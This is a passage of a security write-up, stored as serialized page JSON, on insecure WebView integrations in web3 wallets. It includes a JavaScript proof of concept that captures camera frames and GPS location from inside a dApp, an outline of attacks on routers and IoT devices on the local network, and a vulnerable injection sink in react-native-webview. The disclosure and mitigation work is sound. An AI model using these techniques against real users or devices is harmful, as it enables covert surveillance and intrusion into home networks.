video",{"type":23,"tag":504,"props":156325,"children":156326},{"style":598},[156327],{"type":28,"value":31888},{"type":23,"tag":504,"props":156329,"children":156330},{"style":529},[156331],{"type":28,"value":31685},{"type":23,"tag":504,"props":156333,"children":156334},{"style":598},[156335],{"type":28,"value":320},{"type":23,"tag":504,"props":156337,"children":156338},{"style":517},[156339],{"type":28,"value":35698},{"type":23,"tag":504,"props":156341,"children":156342},{"style":598},[156343],{"type":28,"value":526},{"type":23,"tag":504,"props":156345,"children":156346},{"style":622},[156347],{"type":28,"value":156348},"\"video\"",{"type":23,"tag":504,"props":156350,"children":156351},{"style":598},[156352],{"type":28,"value":630},{"type":23,"tag":504,"props":156354,"children":156355},{"class":506,"line":1450},[156356,156361,156365,156370,156374,156378],{"type":23,"tag":504,"props":156357,"children":156358},{"style":529},[156359],{"type":28,"value":156360},"            video",{"type":23,"tag":504,"props":156362,"children":156363},{"style":598},[156364],{"type":28,"value":320},{"type":23,"tag":504,"props":156366,"children":156367},{"style":529},[156368],{"type":28,"value":156369},"srcObject",{"type":23,"tag":504,"props":156371,"children":156372},{"style":598},[156373],{"type":28,"value":31888},{"type":23,"tag":504,"props":156375,"children":156376},{"style":529},[156377],{"type":28,"value":35238},{"type":23,"tag":504,"props":156379,"children":156380},{"style":598},[156381],{"type":28,"value":866},{"type":23,"tag":504,"props":156383,"children":156384},{"class":506,"line":1463},[156385,156389,156394,156398,156402,156406,156410,156414,156419],{"type":23,"tag":504,"props":156386,"children":156387},{"style":511},[156388],{"type":28,"value":149785},{"type":23,"tag":504,"props":156390,"children":156391},{"style":529},[156392],{"type":28,"value":156393}," canvas",{"type":23,"tag":504,"props":156395,"children":156396},{"style":598},[156397],{"type":28,"value":31888},{"type":23,"tag":504,"props":156399,"children":156400},{"style":529},[156401],{"type":28,"value":31685},{"type":23,"tag":504,"props":156403,"children":156404},{"style":598},[156405],{"type":28,"value":320},{"type":23,"tag":504,"props":156407,"children":156408},{"style":517},[156409],{"type":28,"value":35698},{"type":23,"tag":504,"props":156411,"children":156412},{"style":598},[156413],{"type":28,"value":526},{"type":23,"tag":504,"props":156415,"children":156416},{"style":622},[156417],{"type":28,"value":156418},"\"canvas\"",{"type":23,"tag":504,"props":156420,"children":156421},{"style":598},[156422],{"type":28,"value":630},{"type":23,"tag":504,"props":156424,"children":156425},{"class":506,"line":1485},[156426],{"type":23,"tag":504,"props":156427,"children":156428},{"emptyLinePlaceholder":16},[156429],{"type":28,"value":1038},{"type":23,"tag":504,"props":156431,"children":156432},{"class":506,"line":1503},[156433,156437,156441,156446,156451,156455],{"type":23,"tag":504,"props":156434,"children":156435},{"style":529},[156436],{"type":28,"value":156360},{"type":23,"tag":504,"props":156438,"children":156439},{"style":598},[156440],{"type":28,"value":320},{"type":23,"tag":504,"props":156442,"children":156443},{"style":517},[156444],{"type":28,"value":156445},"onloadedmetadata",{"type":23,"tag":504,"props":156447,"children":156448},{"style":598},[156449],{"type":28,"value":156450}," = () ",{"type":23,"tag":504,"props":156452,"children":156453},{"style":511},[156454],{"type":28,"value":13802},{"type":23,"tag":504,"props":156456,"children":156457},{"style":598},[156458],{"type":28,"value":552},{"type":23,"tag":504,"props":156460,"children":156461},{"class":506,"line":1516},[156462,156467,156471,156476,156480,156484,156488,156493],{"type":23,"tag":504,"props":156463,"children":156464},{"style":529},[156465],{"type":28,"value":156466},"                canvas",{"type":23,"tag":504,"props":156468,"children":156469},{"style":598},[156470],{"type":28,"value":320},{"type":23,"tag":504,"props":156472,"children":156473},{"style":529},[156474],{"type":28,"value":156475},"width",{"type":23,"tag":504,"props":156477,"children":156478},{"style":598},[156479],{"type":28,"value":31888},{"type":23,"tag":504,"props":156481,"children":156482},{"style":529},[156483],{"type":28,"value":130609},{"type":23,"tag":504,"props":156485,"children":156486},{"style":598},[156487],{"type":28,"value":320},{"type":23,"tag":504,"props":156489,"children":156490},{"style":529},[156491],{"type":28,"value":156492},"videoWidth",{"type":23,"tag":504,"props":156494,"children":156495},{"style":598},[156496],{"type":28,"value":866},{"type":23,"tag":504,"props":156498,"children":156499},{"class":506,"line":1543},[156500,156504,156508,156513,156517,156521,156525,156530],{"type":23,"tag":504,"props":156501,"children":156502},{"style":529},[156503],{"type":28,"value":156466},{"type":23,"tag":504,"props":156505,"children":156506},{"style":598},[156507],{"type":28,"value":320},{"type":23,"tag":504,"props":156509,"children":156510},{"style":529},[156511],{"type":28,"value":156512},"height",{"type":23,"tag":504,"props":156514,"children":156515},{"style":598},[156516],{"type":28,"value":31888},{"type":23,"tag":504,"props":156518,"children":156519},{"style":529},[156520],{"type":28,"value":130609},{"type":23,"tag":504,"props":156522,"children":156523},{"style":598},[156524],{"type":28,"value":320},{"type":23,"tag":504,"props":156526,"children":156527},{"style":529},[156528],{"type":28,"value":156529},"videoHeight",{"type":23,"tag":504,"props":156531,"children":156532},{"style":598},[156533],{"type":28,"value":866},{"type":23,"tag":504,"props":156535,"children":156536},{"class":506,"line":1583},[156537],{"type":23,"tag":504,"props":156538,"children":156539},{"style":598},[156540],{"type":28,"value":47054},{"type":23,"tag":504,"props":156542,"children":156543},{"class":506,"line":1605},[156544],{"type":23,"tag":504,"props":156545,"children":156546},{"emptyLinePlaceholder":16},[156547],{"type":28,"value":1038},{"type":23,"tag":504,"props":156549,"children":156550},{"class":506,"line":1614},[156551,156556,156560,156565,156569,156573,156577],{"type":23,"tag":504,"props":156552,"children":156553},{"style":529},[156554],{"type":28,"value":156555},"            connect",{"type":23,"tag":504,"props":156557,"children":156558},{"style":598},[156559],{"type":28,"value":320},{"type":23,"tag":504,"props":156561,"children":156562},{"style":517},[156563],{"type":28,"value":156564},"onclick",{"type":23,"tag":504,"props":156566,"children":156567},{"style":598},[156568],{"type":28,"value":31888},{"type":23,"tag":504,"props":156570,"children":156571},{"style":529},[156572],{"type":28,"value":1231},{"type":23,"tag":504,"props":156574,"children":156575},{"style":511},[156576],{"type":28,"value":26733},{"type":23,"tag":504,"props":156578,"children":156579},{"style":598},[156580],{"type":28,"value":552},{"type":23,"tag":504,"props":156582,"children":156583},{"class":506,"line":1627},[156584,156589,156593,156598],{"type":23,"tag":504,"props":156585,"children":156586},{"style":529},[156587],{"type":28,"value":156588},"                video",{"type":23,"tag":504,"props":156590,"children":156591},{"style":598},[156592],{"type":28,"value":320},{"type":23,"tag":504,"props":156594,"children":156595},{"style":517},[156596],{"type":28,"value":156597},"play",{"type":23,"tag":504,"props":156599,"children":156600},{"style":598},[156601],{"type":28,"value":2647},{"type":23,"tag":504,"props":156603,"children":156604},{"class":506,"line":1655},[156605],{"type":23,"tag":504,"props":156606,"children":156607},{"emptyLinePlaceholder":16},[156608],{"type":28,"value":1038},{"type":23,"tag":504,"props":156610,"children":156611},{"class":506,"line":1668},[156612,156616,156620,156625,156629,156634,156638,156643,156647,156651,156655,156659,156663,156667],{"type":23,"tag":504,"props":156613,"children":156614},{"style":529},[156615],{"type":28,"value":156466},{"type":23,"tag":504,"props":156617,"children":156618},{"style":598},[156619],{"type":28,"value":320},{"type":23,"tag":504,"props":156621,"children":156622},{"style":517},[156623],{"type":28,"value":156624},"getContext",{"type":23,"tag":504,"props":156626,"children":156627},{"style":598},[156628],{"type":28,"value":526},{"type":23,"tag":504,"props":156630,"children":156631},{"style":622},[156632],{"type":28,"value":156633},"\"2d\"",{"type":23,"tag":504,"props":156635,"children":156636},{"style":598},[156637],{"type":28,"value":270},{"type":23,"tag":504,"props":156639,"children":156640},{"style":517},[156641],{"type":28,"value":156642},"drawImage",{"type":23,"tag":504,"props":156644,"children":156645},{"style":598},[156646],{"type":28,"value":526},{"type":23,"tag":504,"props":156648,"children":156649},{"style":529},[156650],{"type":28,"value":130609},{"type":23,"tag":504,"props":156652,"children":156653},{"style":598},[156654],{"type":28,"value":576},{"type":23,"tag":504,"props":156656,"children":156657},{"style":1440},[156658],{"type":28,"value":3001},{"type":23,"tag":504,"props":156660,"children":156661},{"style":598},[156662],{"type":28,"value":576},{"type":23,"tag":504,"props":156664,"children":156665},{"style":1440},[156666],{"type":28,"value":3001},{"type":23,"tag":504,"props":156668,"children":156669},{"style":598},[156670],{"type":28,"value":630},{"type":23,"tag":504,"props":156672,"children":156673},{"class":506,"line":1682},[156674,156679,156683,156688,156692,156697,156701,156705,156709,156714,156718,156723],{"type":23,"tag":504,"props":156675,"children":156676},{"style":529},[156677],{"type":28,"value":156678},"                stream",{"type":23,"tag":504,"props":156680,"children":156681},{"style":598},[156682],{"type":28,"value":320},{"type":23,"tag":504,"props":156684,"children":156685},{"style":517},[156686],{"type":28,"value":156687},"getTracks",{"type":23,"tag":504,"props":156689,"children":156690},{"style":598},[156691],{"type":28,"value":29150},{"type":23,"tag":504,"props":156693,"children":156694},{"style":517},[156695],{"type":28,"value":156696},"forEach",{"type":23,"tag":504,"props":156698,"children":156699},{"style":598},[156700],{"type":28,"value":526},{"type":23,"tag":504,"props":156702,"children":156703},{"style":529},[156704],{"type":28,"value":20711},{"type":23,"tag":504,"props":156706,"children":156707},{"style":511},[156708],{"type":28,"value":26733},{"type":23,"tag":504,"props":156710,"children":156711},{"style":529},[156712],{"type":28,"value":156713}," t",{"type":23,"tag":504,"props":156715,"children":156716},{"style":598},[156717],{"type":28,"value":320},{"type":23,"tag":504,"props":156719,"children":156720},{"style":517},[156721],{"type":28,"value":156722},"stop",{"type":23,"tag":504,"props":156724,"children":156725},{"style":598},[156726],{"type":28,"value":14405},{"type":23,"tag":504,"props":156728,"children":156729},{"class":506,"line":1691},[156730,156734,156738,156743,156747,156751,156755,156759],{"type":23,"tag":504,"props":156731,"children":156732},{"style":529},[156733],{"type":28,"value":156466},{"type":23,"tag":504,"props":156735,"children":156736},{"style":598},[156737],{"type":28,"value":320},{"type":23,"tag":504,"props":156739,"children":156740},{"style":517},[156741],{"type":28,"value":156742},"toBlob",{"type":23,"tag":504,"props":156744,"children":156745},{"style":598},[156746],{"type":28,"value":30501},{"type":23,"tag":504,"props":156748,"children":156749},{"style":529},[156750],{"type":28,"value":31925},{"type":23,"tag":504,"props":156752,"children":156753},{"style":598},[156754],{"type":28,"value":2064},{"type":23,"tag":504,"props":156756,"children":156757},{"style":511},[156758],{"type":28,"value":13802},{"type":23,"tag":504,"props":156760,"children":156761},{"style":598},[156762],{"type":28,"value":552},{"type":23,"tag":504,"props":156764,"children":156765},{"class":506,"line":1699},[156766,156771,156775,156779,156783,156788,156792,156797,156801,156805],{"type":23,"tag":504,"props":156767,"children":156768},{"style":529},[156769],{"type":28,"value":156770},"                    pic",{"type":23,"tag":504,"props":156772,"children":156773},{"style":598},[156774],{"type":28,"value":320},{"type":23,"tag":504,"props":156776,"children":156777},{"style":529},[156778],{"type":28,"value":31647},{"type":23,"tag":504,"props":156780,"children":156781},{"style":598},[156782],{"type":28,"value":31888},{"type":23,"tag":504,"props":156784,"children":156785},{"style":529},[156786],{"type":28,"value":156787},"URL",{"type":23,"tag":504,"props":156789,"children":156790},{"style":598},[156791],{"type":28,"value":320},{"type":23,"tag":504,"props":156793,"children":156794},{"style":517},[156795],{"type":28,"value":156796},"createObjectURL",{"type":23,"tag":504,"props":156798,"children":156799},{"style":598},[156800],{"type":28,"value":526},{"type":23,"tag":504,"props":156802,"children":156803},{"style":529},[156804],{"type":28,"value":31925},{"type":23,"tag":504,"props":156806,"children":156807},{"style":598},[156808],{"type":28,"value":630},{"type":23,"tag":504,"props":156810,"children":156811},{"class":506,"line":1708},[156812],{"type":23,"tag":504,"props":156813,"children":156814},{"style":598},[156815],{"type":28,"value":156816},"                });\n",{"type":23,"tag":504,"props":156818,"children":156819},{"class":506,"line":1717},[156820],{"type":23,"tag":504,"props":156821,"children":156822},{"emptyLinePlaceholder":16},[156823],{"type":28,"value":1038},{"type":23,"tag":504,"props":156825,"children":156826},{"class":506,"line":1725},[156827,156832,156836,156841,156845,156850,156854,156859,156863],{"type":23,"tag":504,"props":156828,"children":156829},{"style":529},[156830],{"type":28,"value":156831},"                navigator",{"type":23,"tag":504,"props":156833,"children":156834},{"style":598},[156835],{"type":28,"value":320},{"type":23,"tag":504,"props":156837,"children":156838},{"style":529},[156839],{"type":28,"value":156840},"geolocation",{"type":23,"tag":504,"props":156842,"children":156843},{"style":598},[156844],{"type":28,"value":320},{"type":23,"tag":504,"props":156846,"children":156847},{"style":517},[156848],{"type":28,"value":156849},"getCurrentPosition",{"type":23,"tag":504,"props":156851,"children":156852},{"style":598},[156853],{"type":28,"value":526},{"type":23,"tag":504,"props":156855,"children":156856},{"style":529},[156857],{"type":28,"value":156858},"pos",{"type":23,"tag":504,"props":156860,"children":156861},{"style":511},[156862],{"type":28,"value":26733},{"type":23,"tag":504,"props":156864,"children":156865},{"style":598},[156866],{"type":28,"value":552},{"type":23,"tag":504,"props":156868,"children":156869},{"class":506,"line":1757},[156870,156875,156879,156883,156887,156891,156896],{"type":23,"tag":504,"props":156871,"children":156872},{"style":511},[156873],{"type":28,"value":156874},"                    const",{"type":23,"tag":504,"props":156876,"children":156877},{"style":529},[156878],{"type":28,"value":36422},{"type":23,"tag":504,"props":156880,"children":156881},{"style":598},[156882],{"type":28,"value":31888},{"type":23,"tag":504,"props":156884,"children":156885},{"style":529},[156886],{"type":28,"value":156858},{"type":23,"tag":504,"props":156888,"children":156889},{"style":598},[156890],{"type":28,"value":320},{"type":23,"tag":504,"props":156892,"children":156893},{"style":529},[156894],{"type":28,"value":156895},"coords",{"type":23,"tag":504,"props":156897,"children":156898},{"style":598},[156899],{"type":28,"value":866},{"type":23,"tag":504,"props":156901,"children":156902},{"class":506,"line":1765},[156903,156908,156912,156916,156920,156925,156929,156933,156937,156942,156946,156951,156955,156959,156963,156967,156971,156976,156980,156984,156988,156993,156997,157001,157005,157009,157013,157017,157021],{"type":23,"tag":504,"props":156904,"children":156905},{"style":529},[156906],{"type":28,"value":156907},"                    gps",{"type":23,"tag":504,"props":156909,"children":156910},{"style":598},[156911],{"type":28,"value":320},{"type":23,"tag":504,"props":156913,"children":156914},{"style":529},[156915],{"type":28,"value":33940},{"type":23,"tag":504,"props":156917,"children":156918},{"style":598},[156919],{"type":28,"value":31888},{"type":23,"tag":504,"props":156921,"children":156922},{"style":622},[156923],{"type":28,"value":156924},"`Lat: ",{"type":23,"tag":504,"props":156926,"children":156927},{"style":511},[156928],{"type":28,"value":1253},{"type":23,"tag":504,"props":156930,"children":156931},{"style":529},[156932],{"type":28,"value":2124},{"type":23,"tag":504,"props":156934,"children":156935},{"style":598},[156936],{"type":28,"value":320},{"type":23,"tag":504,"props":156938,"children":156939},{"style":529},[156940],{"type":28,"value":156941},"latitude",{"type":23,"tag":504,"props":156943,"children":156944},{"style":598},[156945],{"type":28,"value":320},{"type":23,"tag":504,"props":156947,"children":156948},{"style":517},[156949],{"type":28,"value":156950},"toFixed",{"type":23,"tag":504,"props":156952,"children":156953},{"style":598},[156954],{"type":28,"value":526},{"type":23,"tag":504,"props":156956,"children":156957},{"style":1440},[156958],{"type":28,"value":2991},{"type":23,"tag":504,"props":156960,"children":156961},{"style":598},[156962],{"type":28,"value":2105},{"type":23,"tag":504,"props":156964,"children":156965},{"style":511},[156966],{"type":28,"value":1263},{"type":23,"tag":504,"props":156968,"children":156969},{"style":47353},[156970],{"type":28,"value":47356},{"type":23,"tag":504,"props":156972,"children":156973},{"style":622},[156974],{"type":28,"value":156975},"Lon: ",{"type":23,"tag":504,"props":156977,"children":156978},{"style":511},[156979],{"type":28,"value":1253},{"type":23,"tag":504,"props":156981,"children":156982},{"style":529},[156983],{"type":28,"value":2124},{"type":23,"tag":504,"props":156985,"children":156986},{"style":598},[156987],{"type":28,"value":320},{"type":23,"tag":504,"props":156989,"children":156990},{"style":529},[156991],{"type":28,"value":156992},"longitude",{"type":23,"tag":504,"props":156994,"children":156995},{"style":598},[156996],{"type":28,"value":320},{"type":23,"tag":504,"props":156998,"children":156999},{"style":517},[157000],{"type":28,"value":156950},{"type":23,"tag":504,"props":157002,"children":157003},{"style":598},[157004],{"type":28,"value":526},{"type":23,"tag":504,"props":157006,"children":157007},{"style":1440},[157008],{"type":28,"value":2991},{"type":23,"tag":504,"props":157010,"children":157011},{"style":598},[157012],{"type":28,"value":2105},{"type":23,"tag":504,"props":157014,"children":157015},{"style":511},[157016],{"type":28,"value":1263},{"type":23,"tag":504,"props":157018,"children":157019},{"style":622},[157020],{"type":28,"value":9363},{"type":23,"tag":504,"props":157022,"children":157023},{"style":598},[157024],{"type":28,"value":866},{"type":23,"tag":504,"props":157026,"children":157027},{"class":506,"line":22762},[157028,157033,157037,157041,157046,157050,157054],{"type":23,"tag":504,"props":157029,"children":157030},{"style":598},[157031],{"type":28,"value":157032},"                }, ",{"type":23,"tag":504,"props":157034,"children":157035},{"style":529},[157036],{"type":28,"value":47399},{"type":23,"tag":504,"props":157038,"children":157039},{"style":511},[157040],{"type":28,"value":26733},{"type":23,"tag":504,"props":157042,"children":157043},{"style":517},[157044],{"type":28,"value":157045}," alert",{"type":23,"tag":504,"props":157047,"children":157048},{"style":598},[157049],{"type":28,"value":526},{"type":23,"tag":504,"props":157051,"children":157052},{"style":529},[157053],{"type":28,"value":47399},{"type":23,"tag":504,"props":157055,"children":157056},{"style":598},[157057],{"type":28,"value":684},{"type":23,"tag":504,"props":157059,"children":157060},{"class":506,"line":22799},[157061],{"type":23,"tag":504,"props":157062,"children":157063},{"style":598},[157064],{"type":28,"value":47054},{"type":23,"tag":504,"props":157066,"children":157067},{"class":506,"line":22812},[157068],{"type":23,"tag":504,"props":157069,"children":157070},{"emptyLinePlaceholder":16},[157071],{"type":28,"value":1038},{"type":23,"tag":504,"props":157073,"children":157074},{"class":506,"line":22825},[157075],{"type":23,"tag":504,"props":157076,"children":157077},{"style":598},[157078],{"type":28,"value":1291},{"type":23,"tag":504,"props":157080,"children":157081},{"class":506,"line":22838},[157082,157087],{"type":23,"tag":504,"props":157083,"children":157084},{"style":517},[157085],{"type":28,"value":157086},"        main",{"type":23,"tag":504,"props":157088,"children":157089},{"style":598},[157090],{"type":28,"value":2647},{"type":23,"tag":504,"props":157092,"children":157093},{"class":506,"line":22892},[157094,157098,157102],{"type":23,"tag":504,"props":157095,"children":157096},{"style":31353},[157097],{"type":28,"value":31806},{"type":23,"tag":504,"props":157099,"children":157100},{"style":511},[157101],{"type":28,"value":31393},{"type":23,"tag":504,"props":157103,"children":157104},{"style":31353},[157105],{"type":28,"value":4976},{"type":23,"tag":504,"props":157107,"children":157108},{"class":506,"line":22901},[157109,157113,157117],{"type":23,"tag":504,"props":157110,"children":157111},{"style":31353},[157112],{"type":28,"value":31407},{"type":23,"tag":504,"props":157114,"children":157115},{"style":511},[157116],{"type":28,"value":31377},{"type":23,"tag":504,"props":157118,"children":157119},{"style":31353},[157120],{"type":28,"value":4976},{"type":23,"tag":504,"props":157122,"children":157123},{"class":506,"line":31258},[157124,157128,157132],{"type":23,"tag":504,"props":157125,"children":157126},{"style":31353},[157127],{"type":28,"value":31407},{"type":23,"tag":504,"props":157129,"children":157130},{"style":511},[157131],{"type":28,"value":31360},{"type":23,"tag":504,"props":157133,"children":157134},{"style":31353},[157135],{"type":28,"value":4976},{"type":23,"tag":17874,"props":157137,"children":157138},{"id":3206},[157139],{"type":28,"value":3209},{"type":23,"tag":24,"props":157141,"children":157142},{},[157143],{"type":28,"value":157144},"Unfortunately, there's no simple solution for fixing this vulnerability, as most libraries don't offer an easy to enable feature flag. Each wallet should be mindful of the libraries they use and subsequently manually implement measures to mitigate this.",{"type":23,"tag":24,"props":157146,"children":157147},{},[157148,157150,157156],{"type":28,"value":157149},"A good baseline for patches like this is Metamask. Their patch for React Native WebView can be found ",{"type":23,"tag":92,"props":157151,"children":157154},{"href":157152,"rel":157153},"https://github.com/MetaMask/metamask-mobile/blob/53e205520cd571e84fbb443470a6e3654650bad4/.yarn/patches/%40metamask-react-native-webview-npm-14.5.0-b34fed6d50.patch#L13",[96],[157155],{"type":28,"value":46564},{"type":28,"value":320},{"type":23,"tag":30327,"props":157158,"children":157159},{"style":30329},[157160],{"type":23,"tag":126,"props":157161,"children":157165},{"src":157162,"alt":157163,"style":157164},"/posts/insecure-webview-integrations/image2.png","Private Network Access desktop prompt","max-height:144px; width:auto; max-width:100%;",[],{"type":23,"tag":24,"props":157167,"children":157168},{},[157169],{"type":28,"value":157170},"However, even with this patch applied, the user experience is suboptimal. Since there's no cache mechanism for preserving the users' choice, various clickjacking scenarios can be instantiated for further tricking the user into a permission approval.",{"type":23,"tag":70,"props":157172,"children":157174},{"id":157173},"local-network-access",[157175],{"type":28,"value":157176},"Local Network Access",{"type":23,"tag":24,"props":157178,"children":157179},{},[157180,157182,157189,157191,157197],{"type":28,"value":157181},"Modern browsers like Chrome have introduced strict protections around access to a user's local network. When a webpage attempts to send requests to servers on the local network or any private IP range, Chrome will prompt the user for explicit permission before allowing the request to proceed. This is part of the ",{"type":23,"tag":92,"props":157183,"children":157186},{"href":157184,"rel":157185},"https://wicg.github.io/private-network-access/",[96],[157187],{"type":28,"value":157188},"Private Network Access",{"type":28,"value":157190}," specification, and the permission prompt is deliberately restricted to secure contexts (HTTPS) to prevent insecure pages from using local network access as a stepping stone to more serious attacks like remote code execution. There are numerous examples available online detailing the implications of these protections ",{"type":23,"tag":92,"props":157192,"children":157195},{"href":157193,"rel":157194},"https://x.com/taviso/status/2051310678800253318",[96],[157196],{"type":28,"value":157193},{"type":28,"value":157198},". Google's Chrome was one of the first browsers to implement this protection on their desktop application.",{"type":23,"tag":30327,"props":157200,"children":157201},{"style":30329},[157202],{"type":23,"tag":126,"props":157203,"children":157206},{"src":157204,"alt":157163,"style":157205},"/posts/insecure-webview-integrations/image3.png","max-height:240px; width:auto; max-width:100%;",[],{"type":23,"tag":24,"props":157208,"children":157209},{},[157210],{"type":28,"value":157211},"WebViews, however, do not enforce this restriction. When a dApp is loaded inside a wallet's WebView, it can freely send requests to any host on the user's local network, including routers, NAS devices, smart home hubs, IP cameras, or any other IoT device without triggering any permission prompt whatsoever. The user has no visibility into this happening. See an example of this below.",{"type":23,"tag":157213,"props":157214,"children":157217},"zoom-image",{"src":157215,"alt":157216},"/posts/insecure-webview-integrations/image4.png","Private Network Access demo",[],{"type":23,"tag":24,"props":157219,"children":157220},{},[157221],{"type":28,"value":157222},"The consequences can increase the impact of certain issues. Local network devices are frequently unpatched, rely on default credentials, and expose administrative interfaces that were never designed to be reachable from an external webpage. An attacker-controlled dApp could:",{"type":23,"tag":350,"props":157224,"children":157225},{},[157226,157231,157236],{"type":23,"tag":45,"props":157227,"children":157228},{},[157229],{"type":28,"value":157230},"Exfiltrate device information from admin panels or unauthenticated API endpoints exposed by routers or IoT devices.",{"type":23,"tag":45,"props":157232,"children":157233},{},[157234],{"type":28,"value":157235},"Perform authenticated actions against devices that rely on network-locality as their only access control (a common pattern in consumer IoT).",{"type":23,"tag":45,"props":157237,"children":157238},{},[157239],{"type":28,"value":157240},"Exploit known CVEs in firmware by sending crafted requests to a device whose vulnerability is already public, potentially achieving remote code execution on that device.",{"type":23,"tag":24,"props":157242,"children":157243},{},[157244],{"type":28,"value":157245},"A user who has installed a reputable web3 wallet has no reason to suspect that browsing via a malicious dApp within that wallet could result in their home devices being probed.",{"type":23,"tag":70,"props":157247,"children":157249},{"id":157248},"uxss-by-code-injection",[157250],{"type":28,"value":157251},"UXSS by Code Injection",{"type":23,"tag":24,"props":157253,"children":157254},{},[157255,157257,157263],{"type":28,"value":157256},"Another sink we found in react-native-webview by just skimming through the code was how the ",{"type":23,"tag":56,"props":157258,"children":157260},{"className":157259},[],[157261],{"type":28,"value":157262},"injectJavascriptObject",{"type":28,"value":157264}," attribute worked. Here is the code snippet:",{"type":23,"tag":494,"props":157266,"children":157268},{"className":155504,"code":157267,"language":155506,"meta":7,"style":7},"    private void injectJavascriptObject() {\n      if (getSettings().getJavaScriptEnabled()) {\n        String js = \"(function(){\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \" = window.\" + JAVASCRIPT_INTERFACE + \" || {};\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \".injectedObjectJson = function () { return \" + (injectedJavaScriptObject == null ? null : (\"`\" + injectedJavaScriptObject + \"`\")) + \"; };\\n\" +\n          \"})();\";\n        evaluateJavascriptWithFallback(js);\n      }\n",[157269],{"type":23,"tag":56,"props":157270,"children":157271},{"__ignoreMap":7},[157272,157292,157321,157355,157410,157515,157527,157540],{"type":23,"tag":504,"props":157273,"children":157274},{"class":506,"line":507},[157275,157279,157283,157288],{"type":23,"tag":504,"props":157276,"children":157277},{"style":511},[157278],{"type":28,"value":1406},{"type":23,"tag":504,"props":157280,"children":157281},{"style":1012},[157282],{"type":28,"value":50028},{"type":23,"tag":504,"props":157284,"children":157285},{"style":517},[157286],{"type":28,"value":157287}," injectJavascriptObject",{"type":23,"tag":504,"props":157289,"children":157290},{"style":523},[157291],{"type":28,"value":1030},{"type":23,"tag":504,"props":157293,"children":157294},{"class":506,"line":540},[157295,157299,157303,157308,157312,157317],{"type":23,"tag":504,"props":157296,"children":157297},{"style":544},[157298],{"type":28,"value":38262},{"type":23,"tag":504,"props":157300,"children":157301},{"style":523},[157302],{"type":28,"value":801},{"type":23,"tag":504,"props":157304,"children":157305},{"style":517},[157306],{"type":28,"value":157307},"getSettings",{"type":23,"tag":504,"props":157309,"children":157310},{"style":523},[157311],{"type":28,"value":29150},{"type":23,"tag":504,"props":157313,"children":157314},{"style":517},[157315],{"type":28,"value":157316},"getJavaScriptEnabled",{"type":23,"tag":504,"props":157318,"children":157319},{"style":523},[157320],{"type":28,"value":90772},{"type":23,"tag":504,"props":157322,"children":157323},{"class":506,"line":555},[157324,157329,157334,157338,157343,157347,157351],{"type":23,"tag":504,"props":157325,"children":157326},{"style":1012},[157327],{"type":28,"value":157328},"        String",{"type":23,"tag":504,"props":157330,"children":157331},{"style":529},[157332],{"type":28,"value":157333}," js",{"type":23,"tag":504,"props":157335,"children":157336},{"style":598},[157337],{"type":28,"value":648},{"type":23,"tag":504,"props":157339,"children":157340},{"style":622},[157341],{"type":28,"value":157342}," \"(function(){",{"type":23,"tag":504,"props":157344,"children":157345},{"style":47353},[157346],{"type":28,"value":47356},{"type":23,"tag":504,"props":157348,"children":157349},{"style":622},[157350],{"type":28,"value":1268},{"type":23,"tag":504,"props":157352,"children":157353},{"style":598},[157354],{"type":28,"value":8768},{"type":23,"tag":504,"props":157356,"children":157357},{"class":506,"line":633},[157358,157363,157367,157372,157376,157381,157385,157389,157393,157398,157402,157406],{"type":23,"tag":504,"props":157359,"children":157360},{"style":622},[157361],{"type":28,"value":157362},"          \"    window.\"",{"type":23,"tag":504,"props":157364,"children":157365},{"style":598},[157366],{"type":28,"value":7888},{"type":23,"tag":504,"props":157368,"children":157369},{"style":523},[157370],{"type":28,"value":157371}," JAVASCRIPT_INTERFACE ",{"type":23,"tag":504,"props":157373,"children":157374},{"style":598},[157375],{"type":28,"value":1642},{"type":23,"tag":504,"props":157377,"children":157378},{"style":622},[157379],{"type":28,"value":157380}," \" = window.\"",{"type":23,"tag":504,"props":157382,"children":157383},{"style":598},[157384],{"type":28,"value":7888},{"type":23,"tag":504,"props":157386,"children":157387},{"style":523},[157388],{"type":28,"value":157371},{"type":23,"tag":504,"props":157390,"children":157391},{"style":598},[157392],{"type":28,"value":1642},{"type":23,"tag":504,"props":157394,"children":157395},{"style":622},[157396],{"type":28,"value":157397}," \" || {};",{"type":23,"tag":504,"props":157399,"children":157400},{"style":47353},[157401],{"type":28,"value":47356},{"type":23,"tag":504,"props":157403,"children":157404},{"style":622},[157405],{"type":28,"value":1268},{"type":23,"tag":504,"props":157407,"children":157408},{"style":598},[157409],{"type":28,"value":8768},{"type":23,"tag":504,"props":157411,"children":157412},{"class":506,"line":687},[157413,157417,157421,157425,157429,157434,157438,157443,157447,157451,157455,157459,157463,157467,157472,157476,157481,157485,157490,157494,157498,157503,157507,157511],{"type":23,"tag":504,"props":157414,"children":157415},{"style":622},[157416],{"type":28,"value":157362},{"type":23,"tag":504,"props":157418,"children":157419},{"style":598},[157420],{"type":28,"value":7888},{"type":23,"tag":504,"props":157422,"children":157423},{"style":523},[157424],{"type":28,"value":157371},{"type":23,"tag":504,"props":157426,"children":157427},{"style":598},[157428],{"type":28,"value":1642},{"type":23,"tag":504,"props":157430,"children":157431},{"style":622},[157432],{"type":28,"value":157433}," \".injectedObjectJson = function () { return \"",{"type":23,"tag":504,"props":157435,"children":157436},{"style":598},[157437],{"type":28,"value":7888},{"type":23,"tag":504,"props":157439,"children":157440},{"style":523},[157441],{"type":28,"value":157442}," (injectedJavaScriptObject ",{"type":23,"tag":504,"props":157444,"children":157445},{"style":598},[157446],{"type":28,"value":7559},{"type":23,"tag":504,"props":157448,"children":157449},{"style":511},[157450],{"type":28,"value":861},{"type":23,"tag":504,"props":157452,"children":157453},{"style":544},[157454],{"type":28,"value":96792},{"type":23,"tag":504,"props":157456,"children":157457},{"style":511},[157458],{"type":28,"value":861},{"type":23,"tag":504,"props":157460,"children":157461},{"style":544},[157462],{"type":28,"value":34092},{"type":23,"tag":504,"props":157464,"children":157465},{"style":523},[157466],{"type":28,"value":801},{"type":23,"tag":504,"props":157468,"children":157469},{"style":622},[157470],{"type":28,"value":157471},"\"`\"",{"type":23,"tag":504,"props":157473,"children":157474},{"style":598},[157475],{"type":28,"value":7888},{"type":23,"tag":504,"props":157477,"children":157478},{"style":523},[157479],{"type":28,"value":157480}," injectedJavaScriptObject ",{"type":23,"tag":504,"props":157482,"children":157483},{"style":598},[157484],{"type":28,"value":1642},{"type":23,"tag":504,"props":157486,"children":157487},{"style":622},[157488],{"type":28,"value":157489}," 